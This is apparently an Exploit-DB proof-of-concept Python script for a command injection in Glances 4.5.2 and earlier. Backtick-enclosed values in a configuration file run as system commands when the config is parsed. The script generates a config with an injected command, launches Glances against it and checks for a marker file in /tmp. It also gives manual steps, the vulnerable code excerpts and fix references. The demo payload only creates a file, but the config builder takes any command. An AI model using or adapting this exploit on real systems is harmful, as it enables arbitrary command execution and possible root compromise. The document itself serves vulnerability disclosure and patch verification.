📄 Glances 4.5.2 Command Injection

#!/usr/bin/env python3
    # Exploit Title: glances 4.5.2 - command injection
    # Date: 2026-04-09
    # Exploit Author: Stepanov Daniil
    # Vendor Homepage: https://github.com/nicolargo/glances
    # Software Link: https://github.com/nicolargo/glances
    # Version: 4.5.2 and below (fixed in 4.5.3)
    # Tested on: Kali Linux 2026.1, Ubuntu 22.04
    # CVE: CVE-2026-33641
    # CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
    
    '''
    Vulnerability Description:
    --------------------------
    Glances versions prior to 4.5.3 support dynamic configuration values in which 
    substrings enclosed in backticks are executed as system commands during 
    configuration parsing. This behavior occurs in Config.get_value() and is 
    implemented without validation or restriction of the executed commands.
    
    If an attacker can modify or influence configuration files, arbitrary commands 
    will execute automatically with the privileges of the Glances process during 
    startup or configuration reload. In deployments where Glances runs with 
    elevated privileges (e.g., as a system service), this may lead to privilege 
    escalation.
    
    CVSS Score: 7.8 (HIGH) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    
    Affected component: glances/config.py and glances/globals.py
    
    Credit: Discovered by Stepanov Daniil
    '''
    
    import subprocess
    import os
    import sys
    import tempfile
    
    def create_malicious_config(command):
        """
        Create a malicious Glances configuration file that executes arbitrary commands.
        
        The vulnerable Config.get_value() method scans for substrings enclosed in 
        backticks and executes them via system_exec(), which uses subprocess.run()
        with shell=False but the backticks are extracted and executed.
        
        Vulnerable code in glances/config.py:
        --------------------------------------------------
        match = self.re_pattern.findall(ret)
        for m in match:
            ret = ret.replace(m, system_exec(m[1:-1]))
        --------------------------------------------------
        
        Vulnerable code in glances/globals.py:
        --------------------------------------------------
        def system_exec(command, timeout=5):
            res = subprocess.run(command.split(' '), stdout=subprocess.PIPE,
                                timeout=timeout).stdout.decode('utf-8')
            return res
        --------------------------------------------------
        """
        
        config_content = f"""
    [outputs]
    url_prefix = `{command}`
    """
        
        # Create temporary configuration file
        config_file = tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False)
        config_file.write(config_content)
        config_file.close()
        
        return config_file.name
    
    def exploit():
        """
        Proof of Concept: Execute arbitrary commands via Glances configuration.
        """
        
        print("[+] CVE-2026-33641 - Glances Command Injection PoC")
        print("[+] Exploit Author: Stepanov Daniil")
        print()
        
        # Command to execute (create a file in /tmp as proof)
        test_file = "/tmp/glances_pwned"
        command = f"touch {test_file}"
        
        print(f"[+] Creating malicious config with command: {command}")
        config_path = create_malicious_config(command)
        print(f"[+] Config file created: {config_path}")
        
        print(f"[+] Launching Glances with malicious config...")
        print("[+] If vulnerable, the command will execute during config parsing")
        print()
        
        # Execute Glances with the malicious config
        # Note: Glances must be installed in the environment
        try:
            result = subprocess.run(
                ["glances", "-C", config_path, "--timeout", "2"],
                capture_output=True,
                text=True,
                timeout=5
            )
        except FileNotFoundError:
            print("[!] Error: Glances is not installed or not in PATH")
            print("[!] Install with: pip install glances==4.5.2")
            sys.exit(1)
        except subprocess.TimeoutExpired:
            pass  # Glances may run indefinitely, that's fine
        
        # Check if the command was executed
        print("[+] Checking if command was executed...")
        if os.path.exists(test_file):
            print(f"[✓] SUCCESS! File created: {test_file}")
            print("[✓] Command injection confirmed!")
            print("[!] Vulnerability exists in this version of Glances")
            os.remove(test_file)
        else:
            print("[✗] File not found. Either the vulnerability is patched")
            print("    or the command could not be executed.")
        
        # Cleanup
        os.unlink(config_path)
        print(f"\n[+] Cleanup complete: {config_path} removed")
        
        print("\n[+] For more information, visit:")
        print("    https://nvd.nist.gov/vuln/detail/CVE-2026-33641")
    
    def manual_verification_guide():
        """
        Alternative manual verification method if Glances is not in PATH.
        """
        print("\n" + "="*60)
        print("MANUAL VERIFICATION GUIDE")
        print("="*60)
        print("""
    If Glances is not installed, you can verify the vulnerability by:
    1. Create a file /tmp/malicious.conf with:
       [outputs]
       url_prefix = `touch /tmp/glances_pwned`
    
    2. Run: glances -C /tmp/malicious.conf
    
    3. Check if /tmp/glances_pwned exists
    """)
    
    if __name__ == "__main__":
        exploit()
        manual_verification_guide()
    
    # Additional notes for Exploit-DB:
    # ---------------------------------
    # Impact:
    # - Arbitrary command execution with privileges of Glances process
    # - Often Glances runs with elevated privileges (root/sudo)
    # - Can lead to complete system compromise
    #
    # Fix:
    # - Upgrade to Glances version 4.5.3 or higher
    # - The dynamic backtick execution feature was completely removed
    #
    # References:
    # - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
    # - https://github.com/nicolargo/glances/releases/tag/v4.5.3